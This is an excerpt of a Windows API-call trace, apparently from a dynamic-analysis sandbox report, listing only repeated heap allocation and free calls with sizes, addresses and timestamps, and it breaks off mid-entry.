RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.174] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.174] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.175] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.175] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.176] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.176] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.177] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.177] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.178] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.178] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.179] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.179] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, 